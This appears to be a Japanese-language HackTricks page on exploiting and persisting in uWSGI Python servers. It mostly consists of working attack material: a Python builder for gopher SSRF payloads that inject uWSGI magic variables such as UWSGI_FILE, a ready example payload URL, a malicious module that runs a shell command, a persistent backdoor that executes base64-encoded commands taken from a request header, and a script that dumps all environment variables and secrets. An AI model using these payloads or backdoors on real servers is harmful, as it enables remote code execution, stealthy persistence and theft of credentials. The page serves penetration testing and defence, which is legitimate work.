WSGI Post-Exploitation Tricks
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
WSGI Overview
Web Server Gateway Interface (WSGI) は、ウェブサーバがウェブアプリケーションとどのように通信し、ウェブアプリケーションを連結して1つのリクエストを処理するかを定めた仕様です。uWSGI は最も一般的な WSGI サーバの一つで、Python のウェブアプリケーションを配信するためによく使われます。ネイティブのバイナリトランスポートは uwsgi プロトコル(小文字)で、バックエンドのアプリケーションサーバへ key/value パラメータの束(“uwsgi params”)を運びます。
関連ページ:
SSRF (Server Side Request Forgery)
uWSGI Magic Variables Exploitation
uWSGI は、インスタンスがアプリケーションをロードおよびディスパッチする方法を変更できる特別な “magic variables” を提供します。これらの変数は通常の HTTP ヘッダではなく、reverse proxy(nginx、Apache mod_proxy_uwsgi など)から uWSGI バックエンドへ渡される uwsgi/SCGI/FastCGI リクエスト内部の uwsgi パラメータです。プロキシ設定がユーザー制御のデータを uwsgi パラメータにマップしている場合(例えば $arg_*、$http_*、または uwsgi プロトコルを話す安全でない公開エンドポイント経由)、攻撃者はこれらの変数を設定してコード実行を達成できます。
Dangerous mappings in front proxies (nginx example)
以下のような設定ミスは、uWSGI magic variables を直接ユーザ入力にさらします:
location /app/ {
include uwsgi_params;
# DANGEROUS: maps query args into uwsgi params
uwsgi_param UWSGI_FILE $arg_f; # /app/?f=/tmp/backdoor.py
uwsgi_param UWSGI_MODULE $http_x_mod; # header: X-Mod: pkg.mod
uwsgi_param UWSGI_CALLABLE $arg_c; # /app/?c=application
uwsgi_pass unix:/run/uwsgi/app.sock;
}
アプリやアップロード機能が予測可能なパスへファイルを書き込める場合、上記のマッピングと組み合わせると、バックエンドが攻撃者制御のファイル/モジュールをロードした際に通常即座にRCEが発生します。
主な悪用可能な変数
UWSGI_FILE - 任意ファイルの読み込み/実行
uwsgi_param UWSGI_FILE /path/to/python/file.py;
Loads and executes an arbitrary Python file as a WSGI application. If an attacker can control this parameter through the uwsgi param bag, they can achieve Remote Code Execution (RCE).
UWSGI_SCRIPT - スクリプトの読み込み
uwsgi_param UWSGI_SCRIPT module.path:callable;
uwsgi_param SCRIPT_NAME /endpoint;
UWSGI_MODULE and UWSGI_CALLABLE - 動的モジュールの読み込み
指定したスクリプトを新しいアプリケーションとして読み込みます。file upload or write capabilities と組み合わせると、RCE につながる可能性があります。
uwsgi_param UWSGI_MODULE malicious.module;
uwsgi_param UWSGI_CALLABLE evil_function;
uwsgi_param SCRIPT_NAME /backdoor;
これらのパラメータは任意のPythonモジュールを読み込み、その中の特定の関数を呼び出すことを可能にします。
UWSGI_SETENV - 環境変数の操作
uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings;
環境変数を変更するために使用でき、アプリケーションの動作に影響を与えたり、悪意のある設定を読み込ませたりする可能性があります。
UWSGI_PYHOME - Python 環境の操作
uwsgi_param UWSGI_PYHOME /path/to/malicious/venv;
Pythonの仮想環境を変更し、悪意のあるパッケージや別のPythonインタプリタを読み込む可能性があります。
UWSGI_CHDIR - ディレクトリの変更
uwsgi_param UWSGI_CHDIR /etc/;
リクエストを処理する前に作業ディレクトリを変更し、他の機能と組み合わせて使用できます。
SSRF + uwsgi protocol (gopher) pivot
Threat model
ターゲットのWebアプリがSSRFプリミティブを公開していて、uWSGIインスタンスが内部のTCPソケットで待ち受けている場合(例: socket = 127.0.0.1:3031)、gopher経由でraw uwsgiプロトコルを送信し、uWSGIのマジック変数を注入できます。
これは、多くのデプロイが内部で非HTTPのuwsgiソケットを使用しており、リバースプロキシ(nginx/Apache)がクライアントのHTTPをuwsgiのパラメータバッグに変換するため可能です。SSRF+gopherを使うと、uwsgiのバイナリパケットを直接作成して UWSGI_FILE のような危険な変数を設定できます。
uWSGIプロトコル構造(簡易参照)
- ヘッダー(4バイト):
modifier1(1 byte),datasize(2 bytes little-endian),modifier2(1 byte) - ボディ: シーケンス
[key_len(2 LE)] [key_bytes] [val_len(2 LE)] [val_bytes]
標準的なリクエストでは modifier1 は0です。ボディには SERVER_PROTOCOL, REQUEST_METHOD, PATH_INFO, UWSGI_FILE などの uwsgi パラメータが含まれます。詳細は公式プロトコル仕様を参照してください。
Minimal packet builder (generate gopher payload)
import struct, urllib.parse
def uwsgi_gopher_url(host, port, params):
body = b''.join([struct.pack('<H', len(k))+k.encode()+struct.pack('<H', len(v))+v.encode() for k,v in params.items()])
pkt = bytes([0]) + struct.pack('<H', len(body)) + bytes([0]) + body
return f"gopher://{host}:{port}/_" + urllib.parse.quote_from_bytes(pkt)
# Example URL:
gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json
サーバーに以前書き込まれたファイルを強制的にロードする使用例:
params = {
'SERVER_PROTOCOL':'HTTP/1.1', 'REQUEST_METHOD':'GET', 'PATH_INFO':'/',
'UWSGI_FILE':'/app/profiles/malicious.py', 'SCRIPT_NAME':'/malicious.py'
}
print(uwsgi_gopher_url('127.0.0.1', 3031, params))
生成したURLをSSRF sink経由で送信してください。
実例
ディスクにpythonファイルを作成できるなら(拡張子は問いません)、次のようなコードを記述してください:
# /app/profiles/malicious.py
import os
os.system('/readflag > /app/profiles/result.txt')
def application(environ, start_response):
start_response('200 OK', [('Content-Type','text/plain')])
return [b'ok']
このパスに UWSGI_FILE を設定する gopher payload を生成してトリガーしてください。backend はそれをインポートして WSGI app として実行します。
ポストエクスプロイテーション手法
1. 永続的バックドア
ファイルベースのバックドア
# backdoor.py
import subprocess, base64
def application(environ, start_response):
cmd = environ.get('HTTP_X_CMD', '')
if cmd:
result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True)
response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}"
else:
response = 'Backdoor active'
start_response('200 OK', [('Content-Type', 'text/plain')])
return [response.encode()]
それを UWSGI_FILE でロードし、選択した SCRIPT_NAME の下でアクセスします。
環境ベースの永続化
uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.11/site-packages;
2. 情報漏洩
Environment Variable Dumping
# env_dump.py
import os, json
def application(environ, start_response):
env_data = {'os_environ': dict(os.environ), 'wsgi_environ': dict(environ)}
start_response('200 OK', [('Content-Type', 'application/json')])
return [json.dumps(env_data, indent=2).encode()]
ファイルシステムアクセス
UWSGI_CHDIR を file-serving helper と組み合わせて、機密ディレクトリを閲覧できます。
3. Privilege Escalation のアイデア
- uWSGI が elevated privileges で動作し、root 所有の sockets/pids を書き込む場合、env やディレクトリ変更を悪用して特権所有のファイルを drop したり、runtime state を操作したりできる可能性があります。
UWSGI_FILEを通じて読み込まれるファイル内で環境 (UWSGI_*) を介して設定を上書きすると、process model や workers に影響を与え、persistence をよりステルス化できます。
# malicious_config.py
import os
# Override uWSGI configuration
os.environ['UWSGI_MASTER'] = '1'
os.environ['UWSGI_PROCESSES'] = '1'
os.environ['UWSGI_CHEAPER'] = '1'
uWSGI チェーンに関連するリバースプロキシの desync 問題(最近)
mod_proxy_uwsgi を使った Apache httpd のデプロイでは、フロントエンド↔バックエンドの翻訳レイヤに影響を与える response-splitting/desynchronization のバグが最近発生しています:
- CVE-2023-27522 (Apache httpd 2.4.30–2.4.55; also relevant to uWSGI integration prior to 2.0.22/2.0.26 fixes): crafted origin response headers can cause HTTP response smuggling when
mod_proxy_uwsgiis in use. Upgrading Apache to ≥2.4.56 mitigates the issue. - CVE-2024-24795 (fixed in Apache httpd 2.4.59; uWSGI 2.0.26 adjusted its Apache integration): HTTP response splitting in multiple httpd modules could lead to desync when backends inject headers. In uWSGI’s 2.0.26 changelog this appears as “let httpd handle CL/TE for non-http handlers.”
これらは uWSGI に対する直接的な RCE を即座に与えるものではありませんが、エッジケースでは header injection や SSRF とチェーンして uwsgi backend へピボットする足掛かりになり得ます。テスト時にはプロキシとそのバージョンをフィンガープリントし、desync/smuggling プリミティブをバックエンド専用のルートやソケットへの入口として検討してください。
References
- uWSGI Magic Variables Documentation
- IOI SaveData CTF Writeup
- uWSGI Security Best Practices
- The uwsgi Protocol (spec)
- uWSGI 2.0.26 changelog mentioning CVE-2024-24795 adjustments
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
HackTricks

